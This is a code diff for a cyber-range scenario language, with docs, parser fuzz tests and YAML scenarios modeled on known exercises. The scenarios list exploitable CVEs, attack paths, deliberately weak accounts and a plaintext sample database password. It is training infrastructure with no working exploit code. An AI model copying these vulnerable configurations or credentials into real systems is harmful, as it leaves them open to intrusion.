+conditions: + web-alive: + command: "curl -sf http://localhost/ || exit 1" + interval: 15 + timeout: 5 + retries: 3 + start_period: 30 + scanner: + source: vuln-scanner-pkg # alternative: library-based check +``` + +Must have either `command` + `interval` or `source`, not both. + +--- + +## Vulnerabilities + +CWE-classified weaknesses. The `class` field is validated against `CWE-\d+`. + +```yaml +vulnerabilities: + sqli: + name: SQL Injection + description: SQLi in login form allows auth bypass + technical: true + class: CWE-89 +``` + +--- + +## Scoring Pipeline: Metrics, Evaluations, TLOs, Goals + +``` +Conditions → Metrics → Evaluations → TLOs → Goals +``` + +```yaml +metrics: + service-uptime: + type: CONDITIONAL + max-score: 100 + condition: web-alive + report-quality: + type: MANUAL + max-score: 50 + artifact: true + +evaluations: + overall: + metrics: [service-uptime, report-quality] + min-score: 75 # shorthand = percentage + # or: min-score: {absolute: 100} + +tlos: + web-defense: + name: Web Application Defense + evaluation: overall + +goals: + pass-exercise: + tlos: [web-defense] +``` + +--- + +## Entities + +Recursive team/organization hierarchy with exercise roles. + +```yaml +entities: + blue-team: + name: Blue Team + role: Blue + mission: Defend infrastructure + tlos: [web-defense] + entities: + alice: {name: Alice} + bob: {name: Bob} + red-team: + name: Red Team + role: Red # White, Green, Red, Blue +``` + +Nested entities are referenced via dot-notation: `blue-team.alice`. + +--- + +## Orchestration: Injects, Events, Scripts, Stories + +```yaml +injects: + phishing-email: + source: phishing-pkg + from-entity: red-team + to-entities: [blue-team] + +events: + attack-wave: + conditions: [scanner] + injects: [phishing-email] + +scripts: + main-timeline: + start-time: 5 min # human-readable durations + end-time: 2 hour + speed: 1.0 + events: + attack-wave: 30 min + +stories: + exercise: + speed: 1 + scripts: [main-timeline] +``` + +--- + +## Content + +Data placed into scenario systems. Adapted from CyRIS `copy_content`. + +```yaml +content: + phishing-emails: + type: dataset + target: exchange-server + destination: /var/mail/ + format: eml + sensitive: true + items: + - name: "Q3 Budget.eml" + tags: [phishing, macro] + flag-file: + type: file + target: victim + path: /var/www/html/flag.txt + text: "FLAG{found_it}" + seed-data: + type: dataset + target: database + source: customer-pii-seed # large dataset via package reference + format: sql +``` + +--- + +## Accounts + +User accounts within scenario nodes. Adapted from CyRIS `add_account`. + +```yaml +accounts: + domain-admin: + username: Administrator + node: dc01 + groups: [Domain Admins] + password_strength: strong # weak, medium, strong, none + svc-sql: + username: svc_mssql + node: dc01 + password_strength: weak + spn: "MSSQL/db.corp.local" # Kerberos SPN + auth_method: password # password, key, certificate + mail: "" +``` + +--- + +## Relationships + +Typed directed edges between any named scenario elements. Adapted from STIX Relationship SROs. + +```yaml +relationships: + exchange-auth: + type: authenticates_with + source: exchange-service + target: ad-ds + domain-trust: + type: trusts + source: child-domain + target: parent-domain + properties: + trust_type: parent-child + trust_direction: bidirectional + sso: + type: federates_with + source: adfs + target: azure-ad + properties: {protocol: SAML} + app-to-db: + type: connects_to + source: webapp + target: postgres + properties: {protocol: tcp, port: "5432"} +``` + +Types: `authenticates_with`, `trusts`, `federates_with`, `connects_to`, `depends_on`, `manages`, `replicates_to`. + +--- + +## Agents + +Autonomous scenario participants. Adapted from CybORG CAGE Challenge. + +```yaml +agents: + red-agent: + entity: red-team # references entities section + actions: [Scan, Exploit, Escalate] + starting_accounts: [phished-user] # references accounts section + initial_knowledge: + hosts: [user0] # known at scenario start + subnets: [user-net] + allowed_subnets: [user-net, corp-net] + reward_calculator: HybridImpactPwn +``` + +--- + +## Variables + +Scenario parameterization. Adapted from CACAO playbook_variables. + +```yaml +variables: + domain_name: + type: string + default: "corp.local" + description: Active Directory domain name + num_workstations: + type: integer + default: 5 + admin_strength: + type: string + default: weak + allowed_values: [weak, medium, strong] + required: false +``` + +Variables are referenced as `${var_name}` in other sections. They are **not resolved at parse time** — resolution happens at instantiation. + +--- + +## APTL Legacy Format + +The APTL legacy format (with `metadata`, `mode`, `objectives`, `steps`, `scoring`) continues to work. The parser auto-detects it. + +```yaml +metadata: + id: detect-brute-force + name: "Blue Team: Detect SSH Brute Force" + description: Detect an SSH brute force attack + difficulty: intermediate + estimated_minutes: 30 + mitre_attack: + techniques: [T1110.001] + +mode: purple +containers: + required: [kali, victim, wazuh] + +objectives: + red: + - id: brute-force + description: Execute SSH brute force + type: manual + points: 50 + blue: + - id: detect-auth + description: Detect failed logins in Wazuh + type: wazuh_alert + points: 75 + wazuh_alert: + query: {bool: {must: [{match: {rule.groups: authentication_failed}}]}} + min_matches: 5 + +scoring: + passing_score: 100 + max_score: 200 +``` diff --git a/docs/sdl/testing.md b/docs/sdl/testing.md new file mode 100644 index 000000000..82ab862eb --- /dev/null +++ b/docs/sdl/testing.md @@ -0,0 +1,65 @@ +# SDL Testing + +## Test Suites + +### Unit Tests (standard run) + +```bash +pytest tests/test_sdl_models.py tests/test_sdl_validator.py \ + tests/test_sdl_parser.py tests/test_sdl_compat.py -v +``` + +Tests structural validation (Pydantic models), semantic validation (cross-reference checks), parser behavior (normalization, shorthands, format detection), and backward compatibility with the legacy `aptl.core.scenarios` API. + +### Stress Tests (standard run) + +```bash +pytest tests/test_sdl_stress.py tests/test_sdl_realworld.py -v +``` + +19 scenarios from 8 platforms testing expressiveness boundaries: + +- **test_sdl_stress.py** — Scenarios 1-13: OCR, CybORG, CALDERA, Atomic Red Team, CyRIS, KYPO, HTB, Enterprise AD, Cloud Hybrid, Exchange+data, CybORG+agents, AD+trust+federation +- **test_sdl_realworld.py** — Scenarios 14-19: Incalmo Equifax, NICE Challenge 17, CCDC Burnsodyne, HTB Offshore-style, Metasploitable 2, Locked Shields IT/OT/SCADA + +Each scenario is tested for: +1. Parse + validate success +2. Infrastructure cross-reference integrity +3. Non-trivial content (at least 1 VM) + +### Fuzz Tests (manual trigger only) + +```bash +pytest tests/test_sdl_fuzz.py -m fuzz -v +``` + +Property-based testing using [Hypothesis](https://hypothesis.readthedocs.io/). Generates ~1,050 random inputs per run across 6 fuzz strategies: + +| Test | Strategy | Examples | +|------|----------|----------| +| `test_valid_sdl_never_crashes` | Structurally plausible SDL scenarios | 200 | +| `test_arbitrary_text_never_crashes` | Completely random text | 500 | +| `test_extra_fields_rejected_cleanly` | Scenarios with unknown fields | 50 | +| `test_fuzz_service_ports` | Random port/protocol/name combos | 100 | +| `test_fuzz_vulnerability_class_validation` | Random CWE class strings | 100 | +| `test_fuzz_feature_dependency_cycles` | Random dependency graphs | 100 | + +The invariant: the parser **never** raises an unhandled exception. Every input either produces a valid `Scenario` or raises `SDLParseError`/`SDLValidationError`. + +Fuzz tests are excluded from the standard `pytest` run via the `fuzz` marker. They take ~70 seconds. + +### Full Suite + +```bash +# Standard tests (excludes fuzz) +pytest tests/ -v + +# Everything including fuzz +pytest tests/ -m '' -v +``` + +## Adding New Scenarios + +To test a new scenario topology, add a YAML string constant to `test_sdl_stress.py` or `test_sdl_realworld.py` and add it to the `SCENARIOS` list. The parametrized tests will automatically pick it up. + +The scenario should exercise specific SDL features you want to validate. Include comments noting what aspect is being tested. diff --git a/docs/sdl/validation.md b/docs/sdl/validation.md new file mode 100644 index 000000000..d5060c7bc --- /dev/null +++ b/docs/sdl/validation.md @@ -0,0 +1,62 @@ +# SDL Semantic Validation + +The semantic validator (`aptl.core.sdl.validator.SemanticValidator`) runs 24 named passes after Pydantic structural validation. It collects all errors rather than failing on the first, so authors see every issue at once. + +## Validation Passes + +### OCR SDL passes (ported from Rust `Scenario::formalize()`) + +| Pass | What It Checks | +|------|----------------| +| `verify_nodes` | Features, conditions, injects, vulnerabilities referenced by nodes exist in their respective sections. Role names on feature/condition/inject assignments match node's roles. Node names ≤ 35 characters. | +| `verify_infrastructure` | Every infrastructure entry has a matching node. Links and dependencies reference existing infrastructure entries. Switch nodes cannot have count > 1. Complex property IPs are within linked node's CIDR. ACL from/to network references exist. | +| `verify_features` | Vulnerability references exist. Dependency references exist. **Dependency cycle detection** via topological sort. | +| `verify_conditions` | (Structural: command+interval XOR source — enforced by Pydantic) | +| `verify_vulnerabilities` | (Structural: CWE format — enforced by Pydantic) | +| `verify_metrics` | Conditional metrics reference existing conditions. Each condition used by at most one metric. | +| `verify_evaluations` | Referenced metrics exist. Absolute min-score doesn't exceed sum of metric max-scores. | +| `verify_tlos` | Referenced evaluations exist. | +| `verify_goals` | Referenced TLOs exist. | +| `verify_entities` | TLO, vulnerability, and event references on entities (including nested) exist. | +| `verify_injects` | from-entity and to-entities reference existing (possibly nested) entities. TLO references exist. | +| `verify_events` | Condition and inject references exist. | +| `verify_scripts` | Event references exist. Event times within script start/end bounds. | +| `verify_stories` | Script references exist. | +| `verify_roles` | Entity references in node roles resolve to flattened entity names. | + +### Extension passes + +| Pass | What It Checks | +|------|----------------| +| `verify_content` | Content targets reference existing nodes. | +| `verify_accounts` | Account nodes reference existing nodes. | +| `verify_relationships` | Source and target resolve to any named element in any section. | +| `verify_agents` | Entity references resolve. Starting accounts exist in accounts section. Allowed subnets exist in infrastructure. Initial knowledge hosts/subnets exist in nodes/infrastructure. | +| `verify_variables` | (Structural validation only — `${var}` substitution checked at instantiation time.) | + +### APTL-specific passes + +| Pass | What It Checks | +|------|----------------| +| `verify_objectives` | (Structural: ID uniqueness, validation config presence — enforced by Pydantic) | +| `verify_attack_steps` | MITRE technique IDs match ATT&CK format (`T####` or `T####.###`). | +| `verify_mode_consistency` | Red mode requires red objectives, blue mode requires blue objectives. | +| `verify_mitre_references` | Metadata MITRE technique references match ATT&CK format. | +| `verify_scenario_content` | Scenario has at least one of: nodes, features, conditions, vulnerabilities, entities, steps, objectives, or stories. | + +## Error Reporting + +All passes run to completion. Errors are collected into a list and raised as a single `SDLValidationError`: + +```python +try: + scenario = parse_sdl(yaml_string) +except SDLValidationError as e: + print(f"{len(e.errors)} errors found:") + for error in e.errors: + print(f" - {error}") +``` + +## Cross-Reference Resolution + +The `_all_named_elements()` method collects keys from all sections for relationship validation. This means a relationship can reference any node, feature, condition, vulnerability, account, entity (including nested), metric, evaluation, TLO, goal, inject, event, script, story, content item, or agent. diff --git a/pyproject.toml b/pyproject.toml index 7e23d1853..1d96b11d9 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -36,6 +36,7 @@ dev = [ "pytest-mock>=3.12.0", "coverage>=7.0.0", "httpx>=0.27.0", + "hypothesis>=6.0.0", ] [tool.hatch.build.targets.wheel] @@ -44,6 +45,10 @@ packages = ["src/aptl"] [tool.pytest.ini_options] testpaths = ["tests"] pythonpath = ["src"] +markers = [ + "fuzz: property-based fuzz tests (run with: pytest -m fuzz)", +] +addopts = "-m 'not fuzz'" [tool.coverage.run] source = ["aptl"] diff --git a/tests/test_sdl_fuzz.py b/tests/test_sdl_fuzz.py new file mode 100644 index 000000000..be973f174 --- /dev/null +++ b/tests/test_sdl_fuzz.py @@ -0,0 +1,375 @@ +"""Property-based fuzz testing for the SDL parser and validator. + +Uses Hypothesis to generate random SDL-like YAML structures and verify +that the parser never crashes — it either produces a valid Scenario or +raises a clean SDLParseError/SDLValidationError. No unhandled exceptions. + +Run manually (not included in standard test suite): + pytest tests/test_sdl_fuzz.py -v --timeout=300 + +Requires: pip install hypothesis +""" + +import string + +import pytest +import yaml +from hypothesis import given, settings, assume, HealthCheck +from hypothesis import strategies as st + +from aptl.core.sdl import parse_sdl, SDLParseError, SDLValidationError +from aptl.core.sdl.scenario import Scenario + +# Mark entire module so it's excluded from default test runs. +# Run with: pytest tests/test_sdl_fuzz.py -v +pytestmark = pytest.mark.fuzz + + +# --------------------------------------------------------------------------- +# Strategies: building blocks for generating SDL-like data +# --------------------------------------------------------------------------- + +# Identifiers (node names, feature names, etc.) +slugs = st.from_regex(r"[a-z][a-z0-9\-]{0,20}", fullmatch=True) + +# Small positive integers +small_ints = st.integers(min_value=1, max_value=100) + +# RAM strings +ram_values = st.sampled_from(["256 mib", "512 mib", "1 gib", "2 gib", "4 gib", "8 gib"]) + +# OS families +os_families = st.sampled_from(["windows", "linux", "macos", "freebsd", "other"]) + +# Node types +node_types = st.sampled_from(["vm", "switch"]) + +# Feature types +feature_types = st.sampled_from(["service", "configuration", "artifact"]) + +# CWE classes +cwe_classes = st.from_regex(r"CWE-[1-9][0-9]{0,3}", fullmatch=True) + +# Ports +ports = st.integers(min_value=1, max_value=65535) + +# Password strengths +password_strengths = st.sampled_from(["weak", "medium", "strong", "none"]) + +# Relationship types +relationship_types = st.sampled_from([ + "authenticates_with", "trusts", "federates_with", + "connects_to", "depends_on", "manages", "replicates_to", +]) + +# Variable types +variable_types = st.sampled_from(["string", "integer", "boolean", "number"]) + +# Exercise roles +exercise_roles = st.sampled_from(["white", "green", "red", "blue"]) + +# Metric types +metric_types = st.sampled_from(["manual", "conditional"]) + + +# --------------------------------------------------------------------------- +# Composite strategies: generating valid-ish SDL sections +# --------------------------------------------------------------------------- + +@st.composite +def vm_nodes(draw): + """Generate a dict of VM nodes.""" + n = draw(st.integers(min_value=1, max_value=5)) + nodes = {} + for _ in range(n): + name = draw(slugs) + assume(name not in nodes) + nodes[name] = { + "type": "vm", + "os": draw(os_families), + "resources": {"ram": draw(ram_values), "cpu": draw(small_ints)}, + } + return nodes + + +@st.composite +def switch_nodes(draw): + """Generate a dict of switch nodes.""" + n = draw(st.integers(min_value=1, max_value=3)) + nodes = {} + for _ in range(n): + name = draw(slugs) + assume(name not in nodes) + nodes[name] = {"type": "switch"} + return nodes + + +@st.composite +def features_section(draw): + """Generate a dict of features.""" + n = draw(st.integers(min_value=0, max_value=5)) + features = {} + for _ in range(n): + name = draw(slugs) + assume(name not in features) + features[name] = { + "type": draw(feature_types), + "source": draw(slugs), + } + return features + + +@st.composite +def vulnerabilities_section(draw): + """Generate a dict of vulnerabilities.""" + n = draw(st.integers(min_value=0, max_value=5)) + vulns = {} + for _ in range(n): + name = draw(slugs) + assume(name not in vulns) + vulns[name] = { + "name": draw(st.text(min_size=1, max_size=30, alphabet=string.ascii_letters + " ")), + "description": draw(st.text(min_size=1, max_size=50, alphabet=string.ascii_letters + " ")), + "technical": draw(st.booleans()), + "class": draw(cwe_classes), + } + return vulns + + +@st.composite +def accounts_section(draw, node_names): + """Generate accounts referencing existing nodes.""" + if not node_names: + return {} + n = draw(st.integers(min_value=0, max_value=5)) + accounts = {} + for _ in range(n): + name = draw(slugs) + assume(name not in accounts) + accounts[name] = { + "username": draw(slugs), + "node": draw(st.sampled_from(list(node_names))), + "password_strength": draw(password_strengths), + } + return accounts + + +@st.composite +def relationships_section(draw, all_names): + """Generate relationships referencing existing elements.""" + if len(all_names) < 2: + return {} + names_list = list(all_names) + n = draw(st.integers(min_value=0, max_value=4)) + rels = {} + for _ in range(n): + name = draw(slugs) + assume(name not in rels) + rels[name] = { + "type": draw(relationship_types), + "source": draw(st.sampled_from(names_list)), + "target": draw(st.sampled_from(names_list)), + } + return rels + + +@st.composite +def valid_sdl_scenario(draw): + """Generate a structurally plausible SDL scenario.""" + vms = draw(vm_nodes()) + switches = draw(switch_nodes()) + + all_nodes = {**switches, **vms} + node_names = set(all_nodes.keys()) + vm_names = set(vms.keys()) + + feats = draw(features_section()) + vulns = draw(vulnerabilities_section()) + + # Build infrastructure + infra = {} + for sw_name in switches: + infra[sw_name] = { + "count": 1, + "properties": {"cidr": "10.0.0.0/24", "gateway": "10.0.0.1"}, + } + switch_names = list(switches.keys()) + for vm_name in vms: + entry = {"count": 1} + if switch_names: + entry["links"] = [draw(st.sampled_from(switch_names))] + infra[vm_name] = entry + + # Build accounts referencing vm nodes + accts = draw(accounts_section(vm_names)) + + # Collect all named elements for relationships + all_names = set() + all_names.update(node_names) + all_names.update(feats.keys()) + all_names.update(vulns.keys()) + all_names.update(accts.keys()) + + rels = draw(relationships_section(all_names)) + + scenario = { + "name": draw(slugs), + "nodes": all_nodes, + "infrastructure": infra, + } + if feats: + scenario["features"] = feats + if vulns: + scenario["vulnerabilities"] = vulns + if accts: + scenario["accounts"] = accts + if rels: + scenario["relationships"] = rels + + return scenario + + +# --------------------------------------------------------------------------- +# Fuzz tests +# --------------------------------------------------------------------------- + + +@given(data=valid_sdl_scenario()) +@settings( + max_examples=200, + deadline=5000, + suppress_health_check=[HealthCheck.too_slow], +) +def test_valid_sdl_never_crashes(data): + """Generated SDL-like structures must parse cleanly or raise clean errors. + + The parser must NEVER raise an unhandled exception (TypeError, + KeyError, AttributeError, etc.). Only SDLParseError or + SDLValidationError are acceptable failures. + """ + yaml_str = yaml.dump(data, default_flow_style=False) + try: + scenario = parse_sdl(yaml_str) + assert isinstance(scenario, Scenario) + except (SDLParseError, SDLValidationError): + pass # Clean error — acceptable + + +@given(raw=st.text(min_size=0, max_size=500)) +@settings( + max_examples=500, + deadline=2000, + suppress_health_check=[HealthCheck.too_slow], +) +def test_arbitrary_text_never_crashes(raw): + """Completely random text must never cause an unhandled crash.""" + try: + parse_sdl(raw) + except (SDLParseError, SDLValidationError): + pass # Clean error — acceptable + + +@given( + data=st.fixed_dictionaries({ + "name": slugs, + }).flatmap(lambda base: st.fixed_dictionaries({ + **{k: st.just(v) for k, v in base.items()}, + "extra_field": slugs, + })) +) +@settings(max_examples=50, deadline=2000) +def test_extra_fields_rejected_cleanly(data): + """Scenarios with unknown top-level fields raise clean errors.""" + yaml_str = yaml.dump(data, default_flow_style=False) + try: + parse_sdl(yaml_str) + except (SDLParseError, SDLValidationError): + pass # Expected — extra fields forbidden by SDLModel + + +@given( + nodes=st.dictionaries( + slugs, + st.fixed_dictionaries({ + "type": st.just("vm"), + "resources": st.fixed_dictionaries({ + "ram": ram_values, + "cpu": small_ints, + }), + "services": st.lists( + st.fixed_dictionaries({ + "port": ports, + "protocol": st.sampled_from(["tcp", "udp"]), + "name": slugs, + }), + min_size=0, + max_size=10, + ), + }), + min_size=1, + max_size=5, + ) +) +@settings( + max_examples=100, + deadline=3000, + suppress_health_check=[HealthCheck.too_slow], +) +def test_fuzz_service_ports(nodes): + """Random service port configurations never crash the parser.""" + data = {"name": "fuzz-services", "nodes": nodes} + yaml_str = yaml.dump(data, default_flow_style=False) + try: + parse_sdl(yaml_str) + except (SDLParseError, SDLValidationError): + pass + + +@given( + vulns=st.dictionaries( + slugs, + st.fixed_dictionaries({ + "name": st.text(min_size=1, max_size=20, alphabet=string.ascii_letters), + "description": st.text(min_size=1, max_size=30, alphabet=string.ascii_letters), + "technical": st.booleans(), + "class": st.text(min_size=1, max_size=15), # intentionally sometimes invalid + }), + min_size=1, + max_size=5, + ) +) +@settings(max_examples=100, deadline=2000) +def test_fuzz_vulnerability_class_validation(vulns): + """Random CWE class strings: valid ones pass, invalid ones get clean errors.""" + data = {"name": "fuzz-vulns", "nodes": {"sw": {"type": "switch"}}, "vulnerabilities": vulns} + yaml_str = yaml.dump(data, default_flow_style=False) + try: + parse_sdl(yaml_str) + except (SDLParseError, SDLValidationError): + pass + + +@given( + features=st.dictionaries( + slugs, + st.fixed_dictionaries({ + "type": feature_types, + "dependencies": st.lists(slugs, min_size=0, max_size=3), + }), + min_size=2, + max_size=6, + ) +) +@settings( + max_examples=100, + deadline=3000, + suppress_health_check=[HealthCheck.too_slow], +) +def test_fuzz_feature_dependency_cycles(features): + """Random feature dependency graphs: cycles detected, no crashes.""" + data = {"name": "fuzz-deps", "features": features} + yaml_str = yaml.dump(data, default_flow_style=False) + try: + parse_sdl(yaml_str) + except (SDLParseError, SDLValidationError): + pass diff --git a/tests/test_sdl_realworld.py b/tests/test_sdl_realworld.py new file mode 100644 index 000000000..5743bf01d --- /dev/null +++ b/tests/test_sdl_realworld.py @@ -0,0 +1,859 @@ +"""Real-world scenario stress tests against the SDL. + +Attempts to faithfully specify well-known cyber range scenarios from +published sources. Tests whether the SDL is expressive enough to +capture real-world topologies, services, vulnerabilities, attack paths, +team structures, and scoring — and identifies what it can't express. +""" + +import textwrap + +import pytest + +from aptl.core.sdl import parse_sdl, SDLParseError, SDLValidationError + + +def _parse(yaml_str: str, label: str): + try: + s = parse_sdl(textwrap.dedent(yaml_str)) + return s, None + except (SDLParseError, SDLValidationError) as e: + return None, e + + +# ----------------------------------------------------------------------- +# 14. Incalmo/MHBench — Equifax-inspired multi-tier breach +# ----------------------------------------------------------------------- + +INCALMO_EQUIFAX = """ +name: incalmo-equifax +description: > + Equifax-inspired breach scenario from the Incalmo/MHBench benchmark. + External web app with Apache Struts RCE, lateral movement via + plaintext SSH credentials, 48 database targets with PII. + +nodes: + external-net: + type: Switch + dmz-net: + type: Switch + db-net: + type: Switch + + web-frontend-1: + type: VM + os: linux + resources: {ram: 2 gib, cpu: 1} + features: {apache-struts: www} + vulnerabilities: [struts-rce] + services: + - {port: 443, name: https} + - {port: 8080, name: http-alt} + roles: {www: www-data} + asset_value: {confidentiality: low, availability: medium} + + web-frontend-2: + type: VM + os: linux + resources: {ram: 2 gib, cpu: 1} + features: {apache-struts: www} + vulnerabilities: [struts-rce] + services: + - {port: 443, name: https} + roles: {www: www-data} + + app-server: + type: VM + os: linux + resources: {ram: 4 gib, cpu: 2} + features: {java-backend: app} + services: + - {port: 8443, name: https} + vulnerabilities: [sudo-baron-samedit] + roles: {app: appuser} + + db-primary: + type: VM + os: linux + resources: {ram: 8 gib, cpu: 4} + features: {postgres-db: dba} + services: + - {port: 5432, name: postgresql} + roles: {dba: postgres} + asset_value: {confidentiality: critical, integrity: critical} + + db-replica-1: + type: VM + os: linux + resources: {ram: 4 gib, cpu: 2} + features: {postgres-db: dba} + services: [{port: 5432, name: postgresql}] + roles: {dba: postgres} + asset_value: {confidentiality: critical} + + db-replica-2: + type: VM + os: linux + resources: {ram: 4 gib, cpu: 2} + features: {postgres-db: dba} + services: [{port: 5432, name: postgresql}] + roles: {dba: postgres} + asset_value: {confidentiality: critical} + +infrastructure: + external-net: + count: 1 + properties: {cidr: 10.0.0.0/24, gateway: 10.0.0.1} + dmz-net: + count: 1 + properties: {cidr: 10.0.1.0/24, gateway: 10.0.1.1, internal: true} + acls: + - {direction: in, from_net: external-net, protocol: tcp, ports: [443, 8080], action: allow} + - {direction: in, from_net: external-net, action: deny} + db-net: + count: 1 + properties: {cidr: 10.0.2.0/24, gateway: 10.0.2.1, internal: true} + acls: + - {direction: in, from_net: dmz-net, protocol: tcp, ports: [5432], action: allow} + - {direction: in, from_net: external-net, action: deny} + web-frontend-1: {count: 1, links: [external-net, dmz-net]} + web-frontend-2: {count: 1, links: [external-net, dmz-net]} + app-server: {count: 1, links: [dmz-net, db-net]} + db-primary: {count: 1, links: [db-net]} + db-replica-1: {count: 1, links: [db-net]} + db-replica-2: {count: 1, links: [db-net]} + +features: + apache-struts: + type: Service + source: apache-struts-2.5 + description: "Apache Struts 2 web framework (vulnerable version)" + java-backend: + type: Service + source: spring-boot-api + postgres-db: + type: Service + source: postgresql-12 + +vulnerabilities: + struts-rce: + name: "Apache Struts RCE (CVE-2017-5638)" + description: "Remote code execution via Content-Type header parsing" + technical: true + class: CWE-20 + sudo-baron-samedit: + name: "Sudo Baron Samedit (CVE-2021-3156)" + description: "Heap overflow in sudoedit allows local privilege escalation" + technical: true + class: CWE-122 + +content: + pii-database: + type: dataset + target: db-primary + format: sql + source: equifax-pii-seed + description: "145M synthetic customer records with SSN, DOB, addresses" + sensitive: true + ssh-creds-plaintext: + type: file + target: app-server + path: /opt/app/config/db-credentials.properties + text: "db.user=admin\\ndb.password=Equifax2017!" + sensitive: true + description: "Plaintext database credentials in config file" + +accounts: + web-service: + username: www-data + node: web-frontend-1 + password_strength: none + app-service: + username: appuser + node: app-server + password_strength: medium + db-admin: + username: admin + node: db-primary + password_strength: weak + description: "Shared admin account with plaintext creds in config" + +relationships: + struts-to-backend: + type: connects_to + source: apache-struts + target: java-backend + properties: {protocol: http, port: "8443"} + backend-to-db: + type: authenticates_with + source: java-backend + target: postgres-db + description: "Backend uses plaintext creds to connect to DB" + db-replication: + type: replicates_to + source: postgres-db + target: postgres-db + description: "Primary replicates to all replicas" + +entities: + attacker: + name: External Attacker + role: Red + mission: "Exfiltrate PII from database tier" +""" + + +# ----------------------------------------------------------------------- +# 15. NICE Challenge 17 — Layered Defense +# ----------------------------------------------------------------------- + +NICE_CHALLENGE_17 = """ +name: nice-challenge-17 +description: > + NICE Challenge 17 "Layered Defense": three-subnet enterprise with + pfSense firewall, Joomla CMS, AD, fileshare, and database. + +nodes: + wan: {type: Switch} + prodserv-net: {type: Switch} + userspace-net: {type: Switch} + infra-net: {type: Switch} + + pfsense: + type: VM + os: freebsd + resources: {ram: 512 mib, cpu: 1} + features: {firewall-rules: admin} + services: + - {port: 443, name: https} + roles: {admin: admin} + + prod-joomla: + type: VM + os: linux + resources: {ram: 2 gib, cpu: 1} + features: {joomla-cms: www, apache-web: www} + services: + - {port: 80, name: http} + - {port: 443, name: https} + vulnerabilities: [joomla-sqli, joomla-rce] + roles: {www: www-data} + + workstation: + type: VM + os: windows + os_version: "10" + resources: {ram: 4 gib, cpu: 2} + services: [{port: 3389, name: rdp}] + + ad-server: + type: VM + os: windows + os_version: "Server 2019" + resources: {ram: 4 gib, cpu: 2} + features: {ad-ds: admin, dns-server: admin} + services: + - {port: 53, protocol: udp, name: dns} + - {port: 389, name: ldap} + - {port: 445, name: smb} + vulnerabilities: [eternalblue] + roles: {admin: Administrator} + + fileshare: + type: VM + os: windows + os_version: "Server 2019" + resources: {ram: 2 gib, cpu: 1} + features: {smb-shares: admin} + services: [{port: 445, name: smb}] + roles: {admin: Administrator} + + database: + type: VM + os: linux + resources: {ram: 4 gib, cpu: 2} + features: {mysql-server: dba} + services: [{port: 3306, name: mysql}] + roles: {dba: mysql} + asset_value: {confidentiality: high} + +infrastructure: + wan: {count: 1, properties: {cidr: 203.0.113.0/24, gateway: 203.0.113.1}} + prodserv-net: {count: 1, properties: {cidr: 172.16.10.0/24, gateway: 172.16.10.1, internal: true}} + userspace-net: {count: 1, properties: {cidr: 172.16.20.0/24, gateway: 172.16.20.1, internal: true}} + infra-net: {count: 1, properties: {cidr: 172.16.30.0/24, gateway: 172.16.30.1, internal: true}} + pfsense: {count: 1, links: [wan, prodserv-net, userspace-net, infra-net]} + prod-joomla: {count: 1, links: [prodserv-net]} + workstation: {count: 1, links: [userspace-net]} + ad-server: {count: 1, links: [infra-net]} + fileshare: {count: 1, links: [infra-net]} + database: {count: 1, links: [prodserv-net]} + +features: + firewall-rules: {type: Configuration, source: pfsense-rules} + joomla-cms: {type: Service, source: joomla-3.9} + apache-web: {type: Service, source: apache2} + ad-ds: {type: Service, source: adds-2019} + dns-server: {type: Service, source: windows-dns, dependencies: [ad-ds]} + smb-shares: {type: Service, source: samba-shares} + mysql-server: {type: Service, source: mysql-5.7} + +vulnerabilities: + joomla-sqli: {name: Joomla SQL Injection, description: SQLi in com_content, technical: true, class: CWE-89} + joomla-rce: {name: Joomla RCE, description: Template injection leading to RCE, technical: true, class: CWE-94} + eternalblue: {name: EternalBlue, description: MS17-010 SMB RCE, technical: true, class: CWE-119} + +relationships: + joomla-to-mysql: + type: connects_to + source: joomla-cms + target: mysql-server + joomla-auth-ad: + type: authenticates_with + source: joomla-cms + target: ad-ds + +entities: + blue-team: {name: Blue Team, role: Blue, mission: "Harden infrastructure and detect intrusions"} + red-team: {name: Red Team, role: Red, mission: "Gain access and exfiltrate data"} +""" + + +# ----------------------------------------------------------------------- +# 16. CCDC 2007 — Burnsodyne Industries +# ----------------------------------------------------------------------- + +CCDC_BURNSODYNE = """ +name: ccdc-2007-burnsodyne +description: > + CCDC 2007 National competition: Burnsodyne Industries. Each team + defends 5 servers with 6 scored services. Red team attacks, + scoring deducts for compromises. + +nodes: + team-net: {type: Switch} + + win2003-ad: + type: VM + os: windows + os_version: "Server 2003" + resources: {ram: 1 gib, cpu: 1} + features: {ad-ds: admin, iis-web: admin} + services: + - {port: 80, name: http} + - {port: 443, name: https} + - {port: 53, protocol: udp, name: dns} + roles: {admin: Administrator} + + win2000-dns: + type: VM + os: windows + os_version: "2000" + resources: {ram: 512 mib, cpu: 1} + features: {dns-server: admin, iis-web-2: admin} + services: + - {port: 53, protocol: udp, name: dns} + - {port: 80, name: http} + roles: {admin: Administrator} + + solaris-ecom: + type: VM + os: other + os_version: "Solaris 10" + resources: {ram: 1 gib, cpu: 1} + features: {ecom-frontend: app} + services: + - {port: 443, name: https} + - {port: 22, name: ssh} + roles: {app: webadmin} + + ubuntu-backend: + type: VM + os: linux + os_version: "Ubuntu 6.06" + resources: {ram: 1 gib, cpu: 1} + features: {ecom-backend: app, mysql-db: dba} + services: + - {port: 3306, name: mysql} + - {port: 22, name: ssh} + roles: {app: appuser, dba: mysql} + + freebsd-mail: + type: VM + os: freebsd + resources: {ram: 512 mib, cpu: 1} + features: {postfix-smtp: mail} + services: + - {port: 25, name: smtp} + - {port: 22, name: ssh} + roles: {mail: postfix} + +infrastructure: + team-net: + count: 1 + properties: {cidr: 10.0.0.0/24, gateway: 10.0.0.1} + win2003-ad: {count: 1, links: [team-net]} + win2000-dns: {count: 1, links: [team-net]} + solaris-ecom: {count: 1, links: [team-net]} + ubuntu-backend: {count: 1, links: [team-net]} + freebsd-mail: {count: 1, links: [team-net]} + +features: + ad-ds: {type: Service, source: adds-2003} + iis-web: {type: Service, source: iis-6} + dns-server: {type: Service, source: win-dns} + iis-web-2: {type: Service, source: iis-5} + ecom-frontend: {type: Service, source: apache-ssl} + ecom-backend: {type: Service, source: django-ecom} + mysql-db: {type: Service, source: mysql-5.0} + postfix-smtp: {type: Service, source: postfix} + +conditions: + http-scored: {command: "curl -sf http://localhost/ || exit 1", interval: 60} + https-scored: {command: "curl -ksf https://localhost/ || exit 1", interval: 60} + smtp-scored: {command: "echo QUIT | nc localhost 25 | grep 220", interval: 60} + ssh-scored: {command: "ss -tlnp | grep :22 || exit 1", interval: 60} + dns-scored: {command: "dig @localhost example.com +short || exit 1", interval: 60} + 